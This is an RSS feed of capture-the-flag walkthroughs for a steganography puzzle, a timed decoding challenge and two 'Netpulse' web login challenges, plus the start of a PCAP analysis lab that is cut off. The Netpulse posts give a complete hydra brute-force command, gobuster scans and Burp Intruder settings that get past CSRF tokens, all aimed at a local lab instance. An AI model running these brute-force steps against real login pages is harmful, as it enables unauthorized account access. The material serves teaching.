<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cybersensei-EH on Medium]]></title>
        <description><![CDATA[Stories by Cybersensei-EH on Medium]]></description>
        <link>https://medium.com/@cybersenseieh?source=rss-36497168bab6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*YOTNtjSdep201FG77sLAmg.jpeg</url>
            <title>Stories by Cybersensei-EH on Medium</title>
            <link>https://medium.com/@cybersenseieh?source=rss-36497168bab6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 17:39:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cybersenseieh/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CTF Writeup: GHOST]]></title>
            <link>https://medium.com/@cybersenseieh/ctf-writeup-ghost-96c194e1a495?source=rss-36497168bab6------2</link>
            <guid isPermaLink="false">https://medium.com/p/96c194e1a495</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[steganography]]></category>
            <dc:creator><![CDATA[Cybersensei-EH]]></dc:creator>
            <pubDate>Tue, 02 Jun 2026 19:39:45 GMT</pubDate>
            <atom:updated>2026-06-02T19:39:45.939Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Category:</strong> Steganography / Forensics<br><strong>Difficulty:</strong> Medium<br><strong>Challenge Image:</strong> ghost.png</p><p>DESCRIPTION:</p><p>I am Omari, famous actor for the goated series known as Power book. I actually need your help, my image has been circulating and my friend at the FBI told be that I might be in trouble since terrorists are using my image to transfer some sensitive information about their attacks. Help me and get that important information and I will offer you some good quality reward as a flag for your needs. Please help me, thank you in advance.</p><h3>Initial Reconnaissance (The Decoys)</h3><p>The first step in any steganography challenge is to check for low-hanging fruit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LopSIs5XmabPYc-Sxq6wbQ.png" /></figure><p><strong>Checking Metadata:</strong><br>Running exiftool ghost.png reveals a comment:</p><pre>Comment: flag{metadata_is_too_obvious_try_harder}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*KL2-prCqFI5J5xMinhBw8A.png" /></figure><p><em>Result:</em> <strong>FAKE FLAG.</strong> This is a red herring designed to distract beginners.</p><p><strong>Checking Strings:</strong><br>Running strings ghost.png | grep “flag{“ reveals two more signatures:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*xoVFRe3NiTgo12Vf52p-zQ.png" /></figure><p><em>Result:</em> <strong>FAKE FLAGS.</strong> These were appended to the binary to trick automated scripts.</p><h3><strong>FINDING WHAT IS THE REAL DEAL</strong></h3><p>Since the visible text is fake, we check if other files are embedded inside the PNG using binwalk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r5eoybvVW17-1ziEBTl-Gg.png" /></figure><p>There is an <strong>encrypted ZIP archive</strong> at the end of the image. We extract it using: <em>“binwalk -e ghost.png”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PExp78imsZ88M5qj_bRUDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*-oJzBOo65QorS5piZVLtew.png" /></figure><p>Upon trying to unzip the zip file, we cannot do so. The system prompts for a <strong>password. </strong>All passwords and common once tried dont work. bruteforcing still doesnt work, the password seems to be too strong.</p><h3>Deep Visual Analysis</h3><p>To find the password, we use <strong>Aperisolve</strong>, a tool that specializes in viewing an image’s “Bit Planes.”</p><ul><li>Upload ghost.png to <a href="https://www.google.com/url?sa=E&amp;q=https%3A%2F%2Fwww.aperisolve.com">Aperisolve.com</a>.</li><li>The “Strings” and “Exif” tabs confirm the fake flags we already found.</li><li>Scroll down to the <strong>Bit Viewers</strong>.</li></ul><p><strong>The Discovery:</strong><br>In the <strong>Blue Plane 0</strong> (or <strong>Red Plane 0</strong>) image, the “noise” of the dark background disappears. Because the creator used a color difference of only 1 hex value (e.g., #000000 vs #000001), the text is invisible to the human eye but becomes high-contrast in this specific bit plane.</p><p>The hidden password is revealed:<br><strong>Ghost_never_dies_sensei</strong></p><p>final phase</p><p>unzip 727A8.zip<br>then enter the password above</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96c194e1a495" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ISHOWSPEED writeup]]></title>
            <link>https://medium.com/@cybersenseieh/ishowspeed-writeup-f82577cba156?source=rss-36497168bab6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f82577cba156</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Cybersensei-EH]]></dc:creator>
            <pubDate>Tue, 02 Jun 2026 19:36:38 GMT</pubDate>
            <atom:updated>2026-06-02T19:36:38.012Z</atom:updated>
            <content:encoded><![CDATA[<h3>How a 2-second time limit separates the script kiddies from the real speed demons.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/0*wcvOCqInh4VpYIAI" /></figure><p>INTRODUCTION <br>In the world of cybersecurity, time is often your greatest enemy. Whether you are racing against an Intrusion Detection System (IDS) or trying to exfiltrate data before a session expires, automation isn’t just a luxury — it’s a survival skill.<br>Inspired by the energy of the world-famous streamer <strong>IShowSpeed</strong> and his recent visit to Kenya, I created a CTF challenge called <strong>“ishowspeed.”</strong> The premise is simple: If you aren’t fast, you’re out.</p><ul><li><strong>Category:</strong> Scripting / Cryptography</li><li><strong>Difficulty:</strong> easy</li><li><strong>Objective:</strong> Solve 50 rounds of encoding puzzles.</li><li><strong>The Catch:</strong> You have exactly <strong>2 seconds</strong> per round to respond.</li></ul><p>Connect to the server using nc, you will be greeted with some task you need to work on. Try and deal with the decoding. As you see below, i try as much to solve the challenge but can’t due to the time limit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*LsjliVnXcS_xGRPUVnNzPw.png" /></figure><p>I therefore have to come up with a way to solve this as fast as speed would.</p><h3>The Analysis</h3><p>Manual entry is impossible. Even if you are a world-class speed-typer, you cannot translate space-separated binary into ASCII text in under two seconds while maintaining the focus to solve 48 more rounds.</p><h3>The Attack Surface</h3><p>As seen from the examples, the server randomly rotates between four different encoding types:</p><ul><li><strong>Base64:</strong> Standard web encoding.</li><li><strong>Hexadecimal:</strong> Raw byte representation.</li><li><strong>Binary:</strong> 8-bit sequences.</li><li><strong>ROT13:</strong> A simple substitution cipher.</li></ul><p>To win, we need to build a “Rapid Responder” — a Python script capable of listening to the server, identifying the encoding type, decoding it, and sending the answer back before the 2-second timer elapses.</p><h3>Solution</h3><p>The most efficient way to handle this in Python is using the socket library paired with makefile(). The makefile method allows us to treat a network socket like a standard text file, making it much easier to read line-by-line.</p><h3>The Scripting Logic:</h3><ul><li><strong>Establish Connection:</strong> Open a TCP socket to port 8083.</li><li><strong>The Loop:</strong> Continuous reading until we see the “ROUND” keyword</li><li><strong>Parsing:</strong> Use string splitting to isolate the <strong>Type</strong> and the <strong>Payload</strong>.</li><li><strong>The Switchboard:</strong> A series of if/elif statements to handle the decoding logic.</li><li><strong>Response:</strong> Send the decoded string back with a newline character.</li></ul><p>You can use my script if maybe you get a hard time making yours.</p><pre>import socket<br>import base64<br>import binascii<br><br>def rot13(s):<br>    chars = &quot;abcdefghijklmnopqrstuvwxyz&quot;<br>    trans = chars[13:] + chars[:13]<br>    rot_char = lambda c: trans[chars.find(c)] if c in chars else c<br>    return &quot;&quot;.join(rot_char(c.lower()) for c in s)<br><br>def solve():<br>    host = &#39;&lt;machine ip&gt;&#39;<br>    port = &lt;port&gt;<br><br>    print(f&quot;[*] Connecting to {host}:{port}...&quot;)<br>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    s.connect((host, port))<br>    <br>    # Wrap socket for easier line reading<br>    f = s.makefile(&#39;rw&#39;)<br><br>    while True:<br>        line = f.readline()<br>        if not line: break<br>        print(line.strip())<br><br>        if &quot;ROUND&quot; in line:<br>            # Format: ROUND X: TYPE -&gt; ENCODED_STRING<br>            try:<br>                parts = line.split(&quot;: &quot;)[1].split(&quot; -&gt; &quot;)<br>                enc_type = parts[0]<br>                encoded_val = parts[1].strip()<br><br>                if enc_type == &quot;BASE64&quot;:<br>                    answer = base64.b64decode(encoded_val).decode()<br>                elif enc_type == &quot;HEX&quot;:<br>                    answer = binascii.unhexlify(encoded_val).decode()<br>                elif enc_type == &quot;BINARY&quot;:<br>                    answer = &quot;&quot;.join([chr(int(b, 2)) for b in encoded_val.split()])<br>                elif enc_type == &quot;ROT13&quot;:<br>                    answer = rot13(encoded_val)<br><br>                # Send response<br>                f.write(answer + &quot;\n&quot;)<br>                f.flush()<br>            except Exception as e:<br>                print(f&quot;Error parsing: {e}&quot;)<br><br>        if &quot;s3ns31{&quot; in line:<br>            print(&quot;\n[!] FLAG CAPTURED!&quot;)<br>            break<br><br>if __name__ == &quot;__main__&quot;:<br>    solve()</pre><p>Running that script will do the connections for you, decode what the server is outputting then get you the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*bwwUCHCxQiw-Yvzxpp98Hg.png" /></figure><h3>Key Takeaways</h3><ul><li><strong>Socket Programming is a Core Skill:</strong> Knowing how to interact with raw network ports is the difference between a tool-user and a tool-builder.</li><li><strong>Buffering Matters:</strong> In speed challenges, ensure your script “flushes” the output so the server receives the answer immediately.</li><li><strong>Pattern Recognition:</strong> The ability to quickly parse a string (split(), strip()) is vital for automation.</li></ul><p>This challenge proves that in the digital world, <strong>speed isn’t just about how fast you can run; it’s about how well you can code.</strong></p><p>MASTER THE HACK!!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f82577cba156" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Netpulse 2 official walkthrough]]></title>
            <link>https://medium.com/@cybersenseieh/netpulse-2-official-walkthrough-83aae3fec738?source=rss-36497168bab6------2</link>
            <guid isPermaLink="false">https://medium.com/p/83aae3fec738</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[brute-forcing]]></category>
            <dc:creator><![CDATA[Cybersensei-EH]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 17:36:54 GMT</pubDate>
            <atom:updated>2026-06-01T17:36:54.259Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a continuation of the web exploitation challenge. Created by cybersensei-EH. In the previous challenge we covered to the point of getting the first flag. Now there is a second flag that is still from the root directory.<br>When we were doing directory scanning we found the endpoint /22/. But did you know there is a subdirectory in the /22/ endpoint? Yes there is. Now rerun the gobuster command with the url parameter being: <a href="http://127.0.0.1:8085/22/">http://127.0.0.1:8085/22/</a>. The command now is:</p><pre>gobuster dir -u http://127.0.0.1:8085/22/ -w /usr/share/seclists/Discovery/Web-Content/common.txt</pre><p>We get good results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_7O4AnIXRpvvUz3FDaK7aw.png" /></figure><p>Now we access this endpoint. <a href="http://127.0.0.1:8085/22/africa/">http://127.0.0.1:8085/22/africa/</a>. We get another login page. This one looks different from the one on /22/ endpoint. Lets get a way to bypass this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kg_OHOYz-ATs1nAjRMYiuA.png" /></figure><p>When we try the replica of the hydra command we use to solve challenge 1, we are getting false positives. The results from our first command didnt grant us access, infact we keep getting the error message: “Invalid credentials.” When we run the command again, we even get different credentials over and over again. This is surely a dead end.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2U56MDkj_kcjSmoFVeuHQ.png" /></figure><p>Inspect the page, and notice something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BDbQjZzZEw4KG0I75CtT8A.png" /></figure><p>There is the session and also a token. One thing to notice is that it remains constant throughout even after trying to use wrong logins. This means that the session is what is in your local browser. Lets find what we can access from the server making some difference.</p><p>One thing we can both notice when we try random credentials and try to login, there is a token that is generated and it is stored in our page source. The token is different every time we try a login. SO this qualifies to be a CSRF token that we need to handle when dealing with the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZP-qBZyqKH5Id_U70zaQbw.png" /></figure><p>The token above is: d921c0624df36c2a54ed6a894d342dff15b11a99d5bf9b370e6cad06b8b088cf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pC5bRs_hu8CYCXCE8QLcEw.png" /></figure><p>The token above is: 0544ed2aa6bbbce86bc06f17c49039c7bd0819eac287ae06857575f50f09c77f</p><p>They are different.</p><p>We can also notice something, which we can have a pivot on, the comment on the page source. This will surely narrow down.</p><pre>&lt;!-- OSINT HINT: This division is managed by the regional lead from the home country of Nollywood --&gt;</pre><p>A quick search confirms that <strong>Nigeria</strong> is the home of the “Nollywood” film industry. Using our previously discovered usernames.txt from the /bazengadadiii/ directory, we can now narrow our target username down to <strong>Nigeria</strong>.</p><h3>The Problem: Simple Brute Force vs. CSRF</h3><p>If we try to use a standard tool like Hydra or a basic Intruder “Sniper” attack, the server will reject every single attempt with a “Security Error: Invalid or expired CSRF token” message. This is because the server expects us to provide the specific token it just generated for that specific session.</p><p>To bypass this, we need a tool that can “read” the token from the response and “reply” with it in the next request.</p><h3>The Solution: Burp Suite Recursive Grep</h3><p>We will use <strong>Burp Suite Intruder</strong> with a <strong>Pitchfork</strong> attack and <strong>Recursive Grep</strong>.</p><h4>1. Capture and Configure</h4><p>Capture a login attempt in Burp and send it to Intruder. In the <strong>Positions</strong> tab, we set two payload positions:</p><ul><li>The <strong>Password</strong> field.</li><li>The <strong>Token</strong> field.<br><em>(Note: We manually set the username to Nigeria to keep the attack efficient).</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*13YnkUWqUImB4B8LiShehA.png" /><figcaption>The request intercepted first, send to intruder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zSqLamAkG7UCBmzib1n6mA.png" /></figure><h4><strong>2. Grep — Extract</strong></h4><p>In the <strong>Settings</strong> tab, scroll to <strong>Grep — Extract</strong>. We define a new rule by fetching a response and highlighting the value of the hidden token input. This tells Burp exactly where to find the new token in every response the server sends.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*-DccRIEtx51ZJAQerF-MWg.png" /></figure><p>You have to fetch the exact part for the token</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*FjM448fu12q2Cn8hNwNi2A.png" /><figcaption>click “OK”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*djtXPDbj2pMpgNQRjTMWdw.png" /></figure><p>Burp suite now knows where to extract the token from every request</p><p>Before we even proceed to payload configurations, make sure to change the type off attack to pitchfork attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gcOnJcDc5LNxMrjuTDWo3g.png" /></figure><p>Use the arrow down menu above to set it to pitchfork</p><h4>3. Payload Configuration</h4><ul><li><strong>Payload 1 (Token):</strong> Set this to <strong>Recursive Grep</strong>. Select the extraction rule we just created. You must paste the <em>current</em> token from your browser as the “Initial Payload” so Burp can start the chain.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*VBRVfTSv-cRGTMkbHgrO2w.png" /></figure><ul><li><strong>Payload 2 (Password):</strong> Load the passwords.txt list we found earlier.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*-C7TrqGIdm1exrOOSlHkwA.png" /></figure><p>Use the load.. button to load the contents of our password.txt file, they will be used in the attack. They are therefore our “raw materials” for payload position 2&quot;</p><h4>4. The Single Thread Rule</h4><p>Since Recursive Grep relies on the result of the <em>previous</em> request to make the <em>next</em> one, we cannot use multiple threads. Go to <strong>Resource Pool</strong> and create a new pool limited to <strong>1 maximum concurrent request</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*MdOxP5rqLh2fGlR-BDeY2A.png" /></figure><h3>Execution and Success</h3><p>When we start the attack, we can observe Burp Suite successfully extracting a fresh token for every password attempt.</p><p>As we monitor the results, <strong>Request #100</strong> stands out. Unlike the others which return a 200 OK status, this request returns a <strong>302 Found</strong>. This indicates a successful login and a redirect to the dashboard.🥳🥳🥳</p><p>Checking the payload for Request #100, we find our password here. I have obfuscated the password just to make sure you also do the attack🤠😂</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*So91BqXIR19Oy2kYPXzWzA.png" /></figure><p>LOGIN!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sle_0xMcF7cKmP1d9VFd4A.png" /></figure><p>From there its easy, just check the source page. The flag is just hidden there.</p><p>Congratulations, today you have learnt some new ways of using burp suite when doing web exploitation.</p><p>Let us now if you solved this using any other way, thank you for reading this!</p><p>MASTER THE HACK!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83aae3fec738" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Netpulse 1 Official Walkthrough]]></title>
            <link>https://medium.com/@cybersenseieh/netpulse-1-official-walkthrough-c33e40fa2b45?source=rss-36497168bab6------2</link>
            <guid isPermaLink="false">https://medium.com/p/c33e40fa2b45</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cybersensei-EH]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 17:34:54 GMT</pubDate>
            <atom:updated>2026-06-01T17:34:54.011Z</atom:updated>
            <content:encoded><![CDATA[<p>This is the official walkthrough for the “phased” web based challenge titled Netplus. Lets dig deep on how we shall solve this phase 1 of the challenge and get the first flag.</p><p>THE DESCRIPTION</p><pre>Challenge: NetPulse Infrastructure Breach<br><br>NetPulse Solutions has been the backbone of global connectivity since 2022. <br>We&#39;ve received intelligence that an internal management portal is poorly secured. Your mission is to gain access to the Africa Division critical infrastructure dashboard.<br>Find the suitable endpoint and &quot;force&quot; your way in.</pre><p>For this writeup, we shall be having this environment in my local environment since its yet to be hosted on the platform. At any point you see <a href="http://127.0.0.1:8085;">http://127.0.0.1:8085;</a> just replace this with your real instance url, port or instance connection. LETS MASTER THE HACK NOW!</p><p>Lets visit the site, we meet a medium good looking webpage that is of the company NetPulse, its all about a company that specializes on networking. They say clearly that their main aim is to connect the world. Let’s try and see if they are actually safe enough on their own to even connect us using safe connections. The website snip is this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t-4ng9eQ2HgStRlVosejWA.png" /></figure><p>The page looks amazing, not much to be the actual “Africa Division critical infrastructure dashboard.” as mentioned in the description, we therefore have to do some scanning. The critical dashboard is surely in an endpoint, the recommended tool would be Gobuster.<br>Before doing the endpoint or sub-directory scanning, we need to find ourselves a suitable wordlist for this task. Lets use common.txt under web content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*yluVbOYyoYhjVolAGpAgzg.png" /><figcaption>locating wordlists</figcaption></figure><p>Now we can run the gobuster command.</p><pre>gobuster dir -u http://127.0.0.1:8085 -w /usr/share/seclists/Discovery/Web-Content/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*jC7gHRYjsj_5NW1rUXgUxQ.png" /><figcaption>gobuster results</figcaption></figure><p>This gives us a very positive result, in a split of a second, we get the endpoint /22 which redirects to <a href="http://127.0.0.1:8085/22/">http://127.0.0.1:8085/22/</a></p><p>We now visit the page, <a href="http://127.0.0.1:8085/22/">http://127.0.0.1:8085/22/</a>, we now get a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P7goR1bWAAsyGjcrLskH1g.png" /></figure><p>We can test to bypass this login page, efforts on things such as SQL injection and such don’t bare any fruits. Lets just keep that aside first and try to get something else from the original website. The creator must have intentionally hid something there so that we atleast know how to map the whole website out.</p><p>It is very normal to pause on some strategy or attack vector like this one even in real world so that you can go for another mission. Where you feel like you might have hit a dead end (its actually a wise move 🤠).</p><p>From the directory scanning, we had another file we got, the robots.txt page. When we visit this page, we get some sensitive information.🥳🥳🥳🥳🥳🥳🥳🥳🥳</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*wD-9n_aYFr1VKBO_4nTYmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*Bu-b10bGuhfH2vw3WrEUGw.png" /></figure><p>This gives as another angle for the attack. Just now access <a href="http://127.0.0.1:8085/bazengadadiii">http://127.0.0.1:8085/bazengadadiii</a>. Here we get another webpage that we would have <strong>never</strong> interacted with even with guessing😂.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rkNnB04C3m42zkmv2JMEJQ.png" /></figure><p>This is a lifesaver point. we are provided with two files to download. The files are very necessary for this operation. Now it goes without saying that when we have a list of usernames and password suspects, we can do one operation called bruteforcing the http web page. Lets download the two files and save them in our local directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*mPmQWpOG950XgOYEZPpWFw.png" /></figure><p>Now lets prepare for the bruteforce attack. There are few things we need to get first before we can run the tool for bruteforcing. We head back to the page: <a href="http://127.0.0.1:8085/22/">http://127.0.0.1:8085/22/</a></p><p>We first need to identify the exact field names for the input parameters, a simple mistype on the input field the bruteforcing will never be successful. This can be gotten from just checking the page source. The creator of the challenge made sure to name the fields somehow differently compared to normal parameters used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*iU1nGMNqXZZiXRwoDzkkqA.png" /></figure><p>The parameters we need to keep an eye on are: <strong>name</strong> and <strong>mypassword.<br></strong>The next thing we need to identify is the error message. This is obtained very easily, we just use some random credentials on the login page so that we get the error message; what the server returns when the credentials are wrong. This message is very important.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*AuKbiNCBwxrGGGZsg9mr8Q.png" /><figcaption>w</figcaption></figure><p>we now have it, the error message is: <strong>Invalid credentials.</strong><br>Now we can prepare our hydra command to get us the usernames and password. use the command:</p><pre>hydra -L usernames.txt -P passwords.txt 127.0.0.1 http-post-form &quot;/22/index.php:name=^USER^&amp;mypassword=^PASS^:Invalid credentials.&quot; -s 8085 -f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ekhLTlP65aD2LRZqrNyyQg.png" /></figure><p>I have intentionally hidden the username and password just to make sure you do this as you read the walkthrough.</p><p>This is a huge breakthrough for us, we now login into the endpoint we have. We are then able to access a very good and amazing dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P49TvQhz98mWXwZCECqBeA.png" /></figure><p>From here, the next step is just getting the password. To do this, check the page source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ha5UbbrMjvZNTF_i0xeyew.png" /></figure><p>THAT MARKS THE END OF “Netpulse 1&quot;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c33e40fa2b45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BROKEN CHAIN ⛓️‍ BY CFTROOM WALKTHROUGH]]></title>
            <link>https://medium.com/@cybersenseieh/broken-chain-%EF%B8%8F-by-cftroom-walkthrough-bb3213870541?source=rss-36497168bab6------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb3213870541</guid>
            <dc:creator><![CDATA[Cybersensei-EH]]></dc:creator>
            <pubDate>Fri, 01 May 2026 10:04:49 GMT</pubDate>
            <atom:updated>2026-05-01T10:04:49.631Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Network Traffic Analysis • PCAP Forensics • Wireshark / TShark</em></p><p><em>Category: Misc | Network Traffic Analysis | Difficulty: Easy | Points: 44</em></p><p>Topic: Unencrypted Login Credential Exposure</p><h3>1. Lab Overview</h3><p>The ‘Broken Chain’ lab gives you a PCAP file, a recording of real network traffic, and asks you to investigate it. Your goal is to find evidence of an insecure login: someone typed their username and password into a website that was NOT using encryption. Because the traffic was unencrypted, anyone on the same network (or with the capture file) can see those credentials in plain text.</p><p>This is a classic real-world scenario. Websites that use plain HTTP (instead of HTTPS) send everything including passwords, as readable text over the wire. Tools like Wireshark let you capture and inspect that traffic, making this a critical concept in network security.</p><p><strong>💡 What is a PCAP file?</strong></p><p>PCAP stands for Packet Capture. It is a file that records all the raw network packets that passed through a network interface during a capture session. Think of it as a video recording, but instead of pixels, it stores every byte of data sent and received over the network. Wireshark and TShark can both read PCAP files.</p><h3>2. Tools You Will Need</h3><p>You will use one of two tools throughout this lab , Wireshark (graphical/visual) or TShark (command-line). They read the same PCAP files and give the same information. Beginners may find Wireshark easier to start with, while TShark is faster once you know what you are looking for.</p><h3>Wireshark (GUI)</h3><p>Wireshark is a free, open-source network protocol analyzer. It has a graphical interface where you can open a PCAP file, click on packets, and read decoded information in human-readable form.</p><pre>Download it from: https://www.wireshark.org</pre><p>TShark (Command Line)</p><p>TShark is the command-line version of Wireshark. It ships with Wireshark, so installing Wireshark also gives you TShark. On Linux/macOS you can also install it separately:</p><p><em>Installation</em></p><pre># Ubuntu / Debian Linux<br>sudo apt install tshark<br># macOS (Homebrew)<br>brew install wireshark</pre><p><strong>💡 Which should I use?</strong></p><p>Use Wireshark if you are just starting out, the visual interface makes it easier to understand what you are looking at. Use TShark when you need to quickly search or filter inside large PCAP files, or when you are working on a server without a graphical interface.</p><h3>3. Core Concepts</h3><p>Before diving into the questions, make sure you understand these key ideas. They will appear throughout the walkthrough.</p><h4>3.1 HTTP vs HTTPS</h4><p><strong><em>HTTP</em></strong></p><p>HyperText Transfer Protocol. Plain text. No encryption. Anyone watching the network can read everything — including passwords.</p><p><strong><em>HTTPS</em></strong></p><p>HTTP Secure. Encrypted using TLS. Even if someone captures the traffic, they see scrambled data they cannot read.</p><p><strong><em>Port 80</em></strong></p><p>The default port for HTTP (unencrypted).</p><p><strong><em>Port 443</em></strong></p><p>The default port for HTTPS (encrypted).</p><h3>3.2 What is a Port?</h3><p>A port is like a door number on a building. The IP address gets you to the right building (server), and the port number tells you which room (service) to go to. When you see ‘65.61.137.117:80’, that means: IP address 65.61.137.117, port 80 (HTTP).</p><h3>3.3 Protocols in This Lab</h3><p><strong>HTTP</strong></p><p>Unencrypted web traffic. The insecure login happens here.</p><p><strong>TLS / HTTPS</strong></p><p>Encrypted web traffic. Used for all the other secure connections.</p><p><strong>WireGuard (WG)</strong></p><p>A modern, fast VPN protocol that runs over UDP. It is encrypted by design.</p><p><strong>DNS</strong></p><p>Domain Name System. Translates domain names (like testfire.net) to IP addresses.</p><p><strong>UDP</strong></p><p>User Datagram Protocol. A lightweight transport. WireGuard uses UDP.</p><p><strong>TCP</strong></p><p>Transmission Control Protocol. Reliable transport. HTTP, HTTPS, TLS all use TCP.</p><h3>3.4 Understanding TShark Syntax</h3><p>TShark commands follow this general structure:</p><p><em>TShark command structure</em></p><pre>tshark -r &lt;file.pcap&gt; [options]<br>-r = &#39;read&#39; - specifies the input file<br>-Y = &#39;display filter&#39; - show only matching packets<br>-T fields = output mode: print specific fields only<br>-e = &#39;extract field&#39; - which field to print (used with -T fields)<br>-q = &#39;quiet&#39; - suppress per-packet output (for statistics)<br>-z = &#39;statistics&#39; - generate a summary report<br>-V = &#39;verbose&#39; - show full decoded packet details</pre><p>Example: The following command reads BrokenChain.pcap and shows only HTTP packets in verbose mode:</p><pre>tshark -r BrokenChain.pcap -Y &quot;http&quot; -V</pre><h3>4. Step-by-Step: Opening the File</h3><h3>4.1 In Wireshark (GUI)</h3><ol><li>Launch Wireshark.</li><li>Go to File → Open.</li><li>Navigate to BrokenChain.pcap and open it.</li><li>You will see a list of packets in the top pane, details in the middle pane, and raw bytes in the bottom pane.</li></ol><p>The top pane shows: packet number, timestamp, source IP, destination IP, protocol, length, and a brief description. Start by looking at the Protocol column, you will see entries like TCP, TLS, HTTP, DNS, WG (WireGuard), etc.</p><h3>4.2 Getting a Protocol Overview with TShark</h3><p>Before answering specific questions, always start with a protocol overview. This tells you what kinds of traffic exist in the capture so you know where to look.</p><p><em>Get a protocol summary</em></p><pre>tshark -r BrokenChain.pcap -q -z io,phs<br># Breakdown:<br># -q = quiet mode (suppress individual packet lines)<br># -z io,phs = generate Protocol Hierarchy Statistics<br>This produces output like:<br>Example output<br>eth frames:498<br>ip frames:487<br>tcp frames:466<br>tls frames:215 ← encrypted HTTPS traffic<br>http frames:4 ← unencrypted HTTP (our target!)<br>urlencoded-form frames:1 ← a form submission - the login!<br>udp frames:21<br>wg frames:2 ← WireGuard VPN traffic<br>dns frames:11</pre><p><strong>💡 What to look for</strong></p><p>The ‘urlencoded-form’ entry under HTTP is the smoking gun. This means someone submitted an HTML form over plain HTTP, which is exactly what a login form does when the site uses no encryption.</p><h3>5. Answering the Questions</h3><h4>Question 1: What is the IP address of the server the user tried to log in to?</h4><p>We need to find the HTTP POST request that sent the login form. A POST request is how browsers submit form data (like usernames and passwords) 